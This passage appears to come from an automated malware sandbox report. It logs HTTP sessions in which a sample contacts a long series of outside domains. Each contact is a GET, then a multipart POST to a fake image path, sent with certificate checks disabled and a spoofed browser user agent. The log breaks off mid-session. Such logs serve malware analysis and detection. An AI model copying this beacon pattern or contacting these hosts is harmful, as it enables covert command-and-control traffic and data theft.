Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = news/image/fuhesesoda.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.mimid.cz/news/image/fuhesesoda.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #37
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name 6chen.cn
Server Port 80
Data Sent 213
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = 6chen.cn, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 6chen.cn/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #38
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name 6chen.cn
Server Port 80
Data Sent 237
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = 6chen.cn, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = uploads/imgs/imdaim.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = 6chen.cn/uploads/imgs/imdaim.png True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #39
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name goodapd.website
Server Port 80
Data Sent 227
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = goodapd.website, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = goodapd.website/ False 1
Fn
HTTP Session #40
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name goodapd.website
Server Port 80
Data Sent 252
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = goodapd.website, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = static/imgs/memethke.gif, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = goodapd.website/static/imgs/memethke.gif False 1
Fn
Close Session - True 71
Fn
HTTP Session #41
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name oceanlinen.com
Server Port 80
Data Sent 225
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = oceanlinen.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = oceanlinen.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #42
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name oceanlinen.com
Server Port 80
Data Sent 247
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = oceanlinen.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = content/pics/fuso.gif, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = oceanlinen.com/content/pics/fuso.gif True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #43
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name tommarmores.com.br
Server Port 80
Data Sent 233
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = tommarmores.com.br, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = tommarmores.com.br/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #44
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name tommarmores.com.br
Server Port 80
Data Sent 252
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = tommarmores.com.br, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = news/imgs/daam.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = tommarmores.com.br/news/imgs/daam.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #45
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name nesten.dk
Server Port 80
Data Sent 215
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = nesten.dk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = nesten.dk/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #46
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name nesten.dk
Server Port 80
Data Sent 243
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = nesten.dk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = uploads/pics/hesomeimde.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = nesten.dk/uploads/pics/hesomeimde.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #47
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name zaeba.co.uk
Server Port 80
Data Sent 219
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = zaeba.co.uk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = zaeba.co.uk/ False 1
Fn
HTTP Session #48
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name zaeba.co.uk
Server Port 80
Data Sent 247
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = zaeba.co.uk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = uploads/assets/kathmoru.bmp, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = zaeba.co.uk/uploads/assets/kathmoru.bmp False 1
Fn
Close Session - True 71
Fn
HTTP Session #49
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.n2plus.co.th
Server Port 80
Data Sent 229
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.n2plus.co.th, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.n2plus.co.th/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #50
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.n2plus.co.th
Server Port 80
Data Sent 255
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.n2plus.co.th, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = news/image/esimdesefu.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.n2plus.co.th/news/image/esimdesefu.png True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #51
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name koloritplus.ru
Server Port 80
Data Sent 225
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = koloritplus.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = koloritplus.ru/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #52
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name koloritplus.ru
Server Port 80
Data Sent 247
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = koloritplus.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = static/tmp/mezues.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = koloritplus.ru/static/tmp/mezues.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #53
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name h5s.vn
Server Port 80
Data Sent 209
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = h5s.vn, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = h5s.vn/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #54
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name h5s.vn
Server Port 80
Data Sent 238
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = h5s.vn, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = news/pictures/modethsoso.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = h5s.vn/news/pictures/modethsoso.png True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #55
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name marketisleri.com
Server Port 80
Data Sent 229
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = marketisleri.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = marketisleri.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #56
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name marketisleri.com
Server Port 80
Data Sent 256
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = marketisleri.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = data/pictures/fuessozu.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = marketisleri.com/data/pictures/fuessozu.png True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #57
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.toflyaviacao.com.br
Server Port 80
Data Sent 243
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.toflyaviacao.com.br, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.toflyaviacao.com.br/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #58
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.toflyaviacao.com.br
Server Port 80
Data Sent 263
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.toflyaviacao.com.br, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = static/tmp/keru.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.toflyaviacao.com.br/static/tmp/keru.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #59
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.rment.in
Server Port 80
Data Sent 221
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
